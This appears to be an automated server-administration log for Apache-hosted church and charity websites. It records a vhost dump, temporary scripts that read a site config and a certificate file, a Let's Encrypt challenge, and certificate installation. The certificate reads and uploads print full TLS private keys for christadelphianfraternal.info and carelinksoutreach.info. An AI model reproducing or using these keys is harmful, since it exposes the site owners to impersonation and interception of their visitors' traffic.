alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-24 06:00:48:
PUT: /tmp/pkp174790
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-24 06:00:48:
chmod 755 /tmp/pkp174790; /tmp/pkp174790; rm /tmp/pkp174790
2025-10-24 06:00:48:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf 1555
<VirtualHost *:80>
ServerName christadelphianfraternal.info
ServerAlias www.christadelphianfraternal.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphianfraternal_www
<Directory /var/www/christadelphianfraternal_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphianfraternal/www_access.log combined
ErrorLog /var/log/apache2/christadelphianfraternal/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphianfraternal.info
ServerAlias www.christadelphianfraternal.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
DocumentRoot /var/www/christadelphianfraternal_www
<Directory /var/www/christadelphianfraternal_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphianfraternal/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphianfraternal/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-24 06:00:48:
PUT: /tmp/pkp804582
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-24 06:00:48:
chmod 755 /tmp/pkp804582; /tmp/pkp804582; rm /tmp/pkp804582
2025-10-24 06:00:48:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt 5433
40:45:62:18:22:d3:ce:02:4e:df:48:5b:ce:01:22:9c
-----BEGIN CERTIFICATE-----
MIIFODCCBCCgAwIBAgISBYFz2dckSbC/cAFNF+XMN0UJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI0MDUwMjE2WhcNMjYwMTIyMDUwMjE1WjAoMSYwJAYDVQQD
Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAK9U/opYhuq5DpzylIO6TlmnOtk6ysLNlBzMQIjCElVk
pnniWfcWxAkfznUsqWj+smJ7oPsKIdNspmokFFIPZVhk/kAAo3ZbyPEkOm+q9Ec8
pnC1UXRRyNBiFXRo3Y0eXPStZ+yqCjuP/QglZehQDkkZd3+dRO08zWpzdGOT9m+C
2gykHgVAGUW4IHRufE/J7YMX9KbzBawXdLnuytnFC4CKi37Omy7Z0QY0vfJublyE
IFVRcjCEx7v68XJbXFn958Aq1sKcpRAuNnxxsoO5m/1brCI0RcW+ZMMX9r2oL8qU
VnJfP7jeIuGndBraT5IPHy58+MqWTlh/+/erGrzg49sCAwEAAaOCAk8wggJLMA4G
A1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYD
VR0TAQH/BAIwADAdBgNVHQ4EFgQUt6fNsnQO588v9ZZuYzJsGcrg/z4wHwYDVR0j
BBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsG
AQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzBLBgNVHREERDBCgh1jaHJp
c3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mb4Ihd3d3LmNocmlzdGFkZWxwaGlhbmZy
YXRlcm5hbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAuY3JsMIIBAwYKKwYBBAHWeQIE
AgSB9ASB8QDvAHUASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGa
FM4pmwAABAMARjBEAiBOX1g2IAdEWfeE8UuELqwCUmsWH4DI19DleiFtn4KaYgIg
JdHY8Ah7tR06z40Li3BR0PNAhVjkkV2mVX50Z4hLOkIAdgCWl2S/VViXrfdDh2g3
CEJ36fA61fak8zZuRqQ/D8qpxgAAAZoUzinWAAAEAwBHMEUCIAh4fnxWlgNid3ZZ
5k9NVX7xjHgr4WnCMDmivaX1PqboAiEA1T/9ko1BlVD5cVDM4V3GriZsrjpgHk5b
1JJXECbRr28wDQYJKoZIhvcNAQELBQADggEBACoVZexqk3NgN7NRCBrtvpgqye3j
JmIeiOvNJzPjQ28Mi32uBBCFNYv5xD00ubkqebFAMraWxqNwOlAffMDfvs5XyimD
4Ig/QAjHo4UQEh280j8/l2+IAsZOzJQqSwHGyHOmpkAG7ihOHMUAaTFaFN+WxhVW
DX21BmC8kkTZnMtlCJOS2Y4atoTSxHVtdHCtfStxprJM/HjuVDFOjoKj/6DSQ0Np
7FHV/jKBsoVof9N3P+OrOk1KzWV8JxD1AKwejd9NJfynON1MBt9pHV7hR+meHkwg
benEDWVJYEV2oH3Fve/uQzwJpSbyeIRrhwb9kkGUBlwiLoV9ndTaEyHF4NY=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvVP6KWIbquQ6c
8pSDuk5ZpzrZOsrCzZQczECIwhJVZKZ54ln3FsQJH851LKlo/rJie6D7CiHTbKZq
JBRSD2VYZP5AAKN2W8jxJDpvqvRHPKZwtVF0UcjQYhV0aN2NHlz0rWfsqgo7j/0I
JWXoUA5JGXd/nUTtPM1qc3Rjk/ZvgtoMpB4FQBlFuCB0bnxPye2DF/Sm8wWsF3S5
7srZxQuAiot+zpsu2dEGNL3ybm5chCBVUXIwhMe7+vFyW1xZ/efAKtbCnKUQLjZ8
cbKDuZv9W6wiNEXFvmTDF/a9qC/KlFZyXz+43iLhp3Qa2k+SDx8ufPjKlk5Yf/v3
qxq84OPbAgMBAAECggEAEA1IAIJ6V6L5o4TR8/1qjuqwiJLJXWxU0w4gGmUqKIc+
dooyklyTNgKjdDbSi7pFup527oTO8/xOgAktkxW1wZH9dP6Z+IwOqYUXlIGiO6Nh
2Y/AFVYnfGx+alnvbqwI9p2plhE7PpjAIa7K1an+pNKgDh7n4JBgfg5z6WnydeLu
DiUO28xjq5VMqeagJXl28BhJhen45+XTs9M/SFO8hKSzUOXJYiVAA8CwZlHcC+fw
1a8DPQE0XulBt5adwD/P/ukCd3lAmsHYyQoVq55nAubIrHgIDZa0lEGysqUfs2vi
SZqbu7luS9J1wGBbQitI0BtKS7TCNYrh5ZArg6dOAQKBgQDj6IoWryN2e9mD0cMm
iYZiNor1IxJsvH1S3MCI6AQ5Pu/xI3m+hU8f7+wJIVwPksSytCSJJRCmLN/q+hDb
k+Y9Ovpptrs0GiQ/Bj803erSuv8konQVWw975lI/SWtcctp39eRJJU9mDOv3dwtt
jvE0QgWQatPht+iXanXU3VIC6wKBgQDE8XOV+ieUy4jtOWX1AJAn54yWdhMqQ5/I
Bdgb52JoFdx7Zd2jqZmeRVuk0PmxfG+x/2PTXoyl/cx95ocIVN+tTjEMxRDiHNip
2xwEkoTyKeEnyXLa1/Z/Q5ZQ3mZePfkdDrQUV/H6usI/FDAB/WBZtlxXAkZEl9c+
/GUDfdEG0QKBgBIRwcECqcEfGKPG4b4QcUMgJ+w/l5pfZ2BGeE1id9NCFiv8MA7W
6usRTpl6t53UeRviBHOLKMLEFAzBPszp8PsxzeDLyBPdbrpAeIpsfc2vXcM9zg5T
Zerg2+yAma5+vKt+J1dVSfJBXAQGwDUzfBQ0l9RXY+0lc59tpWH3GiV5AoGBAMFN
EBsjlhf4kiPtE4KfE97m6VmA+RyhlUGZYt04haEN3AOOHzYVMD9laibiKkInleYK
equrALen3T+xtdXaoFSVC5WyEvksQQiuk9h1C2I48tK/aikckcelyfMD50wW3dzE
YsIY89wZ1LBfGyPI0vobAJUyGVAYDN+4kVkU88YRAoGASRFQtSDln7zF8DMFqNt8
Cn4cMQi3BrZ7u9TwblcCDXBqr2zD88ImzLDmbh/afZCFKpqSAXW6y2DaT6ulonDs
IzIElOZDoDbkgx8t9CMMlvl0bss1A2EXc/ga2Avdc0HYeNoSSECLsyesrHsWAbzj
gsk9WcFSmCbC6QPpGU4RIqM=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-24 06:00:48: Establishing a connection
2025-10-24 06:00:48: Establishing a connection
2025-10-24 06:00:48:
PUT: /tmp/pkp900446
#!/bin/bash
if [ -d "/var/www/carelinksoutreach_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-24 06:00:48:
chmod 755 /tmp/pkp900446; /tmp/pkp900446; rm /tmp/pkp900446
2025-10-24 06:00:48:
1
2025-10-24 06:00:49: Establishing a connection
2025-10-24 06:00:49:
PUT: /tmp/pkp511395
#!/bin/bash
mkdir -p "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
cd "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
cat > p_t8krzXafWqx0ZVynbKjEpnftSjVqeygNQY0GRsz8Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
p_t8krzXafWqx0ZVynbKjEpnftSjVqeygNQY0GRsz8Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 p_t8krzXafWqx0ZVynbKjEpnftSjVqeygNQY0GRsz8Y
cat > bcxTgU8Ff56EQUSAh1sAeYYYwexe6fGvQyePH_bUH0g <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
bcxTgU8Ff56EQUSAh1sAeYYYwexe6fGvQyePH_bUH0g.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 bcxTgU8Ff56EQUSAh1sAeYYYwexe6fGvQyePH_bUH0g
2025-10-24 06:00:49:
chmod 755 /tmp/pkp511395; /tmp/pkp511395; rm /tmp/pkp511395
2025-10-24 06:00:49:
2025-10-24 06:01:00: Establishing a connection
2025-10-24 06:01:00:
PUT: /tmp/pkp744290
#!/bin/bash
mkdir -p "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
cd "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
rm p_t8krzXafWqx0ZVynbKjEpnftSjVqeygNQY0GRsz8Y
rm bcxTgU8Ff56EQUSAh1sAeYYYwexe6fGvQyePH_bUH0g
2025-10-24 06:01:00:
chmod 755 /tmp/pkp744290; /tmp/pkp744290; rm /tmp/pkp744290
2025-10-24 06:01:00:
2025-10-24 06:01:00: Establishing a connection
2025-10-24 06:01:00:
PUT: /tmp/pkp235503
#!/bin/bash
temp_file=$(mktemp)
TARGET=b64494a3418593cd7c84316d693a17ce.crt
cat > $temp_file <<'endmsg'
cd:05:a7:0f:65:b7:f1:9b:e8:92:d5:f8:59:52:c5:b5
-----BEGIN CERTIFICATE-----
MIIFITCCBAmgAwIBAgISBTIQDUliHWWNo2gov2vWaDquMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMjI5WhcNMjYwMTIyMDUwMjI4WjAhMR8wHQYDVQQD
ExZjYXJlbGlua3NvdXRyZWFjaC5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAurxQheluzJxuqvzq10uqDTwglYxGn99E8ESYMpGU9OH3ghJzwHbZ
huVOjOO4OkxsXwAqYIsAtd/YNgZBvFMRd7MsIx8T2ocUlpk06ctWqFxiVuRBjobq
0HWLizmfYdz7oyslJaEiybHzCujyCeVfOAdQF45sQImxa5zoIESZrw4lSOQYnbiN
Na84QsT+2HqB4vQqOXWQLtUvIvyWMV16qqe9E8oqn+lKD/1SRpWn6N+xcYZZmmgl
cMHQUYB1Rsq8/dGn0DrJGFm76Vh7Ot4sb38tZlxW07s0lAyR6KR5+jJfKsX4a1FS
qxSsxPsWC0X81yrROoFtgv8rBhiBMNRlbQIDAQABo4ICPzCCAjswDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBRBQAL9aAzJJDH8f3iTgfiwj1mZVTAfBgNVHSMEGDAWgBQA
tSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMD0GA1UdEQQ2MDSCFmNhcmVsaW5rc291
dHJlYWNoLmluZm+CGnd3dy5jYXJlbGlua3NvdXRyZWFjaC5pbmZvMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5j
ci5vcmcvNDcuY3JsMIIBAQYKKwYBBAHWeQIEAgSB8gSB7wDtAHUAZBHEbKQS7KeJ
HKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaFM5b6AAABAMARjBEAiAh/iKg46cG
9Lk7dcbJD7V0VYwDj6C6Kk14wE00XPBp1gIgOnNMlokZjZUOH6tWmAv9s2o23NIA
BWefs8dQ5WFf+DsAdACWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAA
AZoUzlwyAAAEAwBFMEMCIFXcGb+sXuKEe3XFDutanhygDXun/X7aWBIXVb3jeFZZ
Ah98XxAEJAdAhdgE9g3Bo+24vjpNpO2MaVXDSHebL56YMA0GCSqGSIb3DQEBCwUA
A4IBAQBTVtjSOh8RL8z0nB90oNECamaq7X0k0OchY2MV3zXXaWJxKv6Hl1VHwQP8
/9iF73npR0lxvz9mzdh/wvnO2pVVEwN1iJm7SrPTE6PN2pZQrgiXU5JOfHfdVT9L
CJ2rRwH7dwhRzwZAznVhMj3HVBUGK9QyZltNf4h8kpvarQTu1MWxgqxAENLExq6s
w03P2sH6zPzqhq3Xt1cKw67eu+v05jWoKEYBsQ5D2fHZgQJWsB5Ei8D3NbKDRi3r
awhdRaX2Jd84RJZTQkfQ+tnLL0QG5DkVkCrxqPZiCez4CRVs7sKNfYdJYcd2mV7G
jDECGAM5DoSBfzfvCvY/qM4+78Qe
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC6vFCF6W7MnG6q
/OrXS6oNPCCVjEaf30TwRJgykZT04feCEnPAdtmG5U6M47g6TGxfACpgiwC139g2
BkG8UxF3sywjHxPahxSWmTTpy1aoXGJW5EGOhurQdYuLOZ9h3PujKyUloSLJsfMK
6PIJ5V84B1AXjmxAibFrnOggRJmvDiVI5BiduI01rzhCxP7YeoHi9Co5dZAu1S8i
/JYxXXqqp70Tyiqf6UoP/VJGlafo37FxhlmaaCVwwdBRgHVGyrz90afQOskYWbvp
WHs63ixvfy1mXFbTuzSUDJHopHn6Ml8qxfhrUVKrFKzE+xYLRfzXKtE6gW2C/ysG
GIEw1GVtAgMBAAECggEAde1vPOKKopU4HqvS81xJbEpImakZAOXTd5kaNPVTiMMb
t/1HNIjaHyK5VKiLM+YHmodUO9wM+s7+kD+rS+953Io+mX+K3jroeaMPk4Zil7ig
Mhe8fvIdYMCa+7XMPdV85TLeJsF4YsAKqR0rnaxJUezsW7QKEUfjz/4rahVoqO/F
FULaogp3T5jrt7UfNL0Wtxw6iKfJX4vKRS2sq6yN0I56eB15Y/wHJVrLP86HfIiD
ea39P28xySaF+lzpcUOTBBEeLTyEkH/3HJ6hiiF7PTC0b+wk+xhryBkUEz5TwplV
PZKeNXqM1Kb3gskQHK0vbwRTuSbKZfhDCf+EKjDCAQKBgQDrpRLLZR0IOMoPwbuT
M7oaypb/EPCjf0fGFCSbVq2zZLKz21F0iqarC5f/v2iTm7pwiy1K+uu96eIvuGWA
DeeMA2UrG7YCle5t8op1eIDOryDQFCSPxdsIY6zL8zxTHqqQItV2jNXkqYNn+kv5
wdDOQX8uhE+2Q7yqP5+KMdm5zQKBgQDK3bAyvgG31/RnOERWLmL1In1fLyK2jjfq
2IMBma7nO31eF7B+dIfnFJ07/0jxTEeR48pa3g3tGppbSq6EaZKISwfZhUVAwDIB
dbe958FQM4pempVFHd/uoQRHOxa1gtmt4lup+XIWgB8Pot8XTZs1fHwwckm+GIXe
KQ0td1c6IQKBgQCALQpMGHPyRPGkIH0nVLumVwxLMauzQ0iHNe2zkTJqohuSOXnV
KpX99BB5zGPV5p9DGHFKl7IjW1TtICAVx3prbm1ZRXl7bpKCu6sUurdVtWzjwhEh
Iz5BEfar+WKW09dzD3+NPI4cExinNj6dXA94IahMZSv2uGGnOXROd083AQKBgQC6
uSZO7jjioLFiuJWdxYBsJVzEWbxXz7uEO9kJhg1I5KbWDnPzUQsuFPlMmgLnptBR
ZhuBW9XxoYTl9m1/jzTCol0NR++gU8czNMj00PZL/cSkoyA1x/OvzyEC905Fr7Tw
qeK5JtJuB2uPlthEuLfdmUEtzmQ1xpihDaQFb00oQQKBgQDNRt+9RFNO/SY/hsuF
aV5tBNPERSyIJ9dlhHt9SrOaVD2X11k1uIsKbXlikqLROUP33XMvSU4OGXMdeFIi
TThhlAuWpWCJbSd/x8aTD/vbJNjW32RVwNVdJFIKxScsBWB1DW1n1eySpwyGnJct
dXSNL3bwJ+kkWSsub3McNbEcHA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
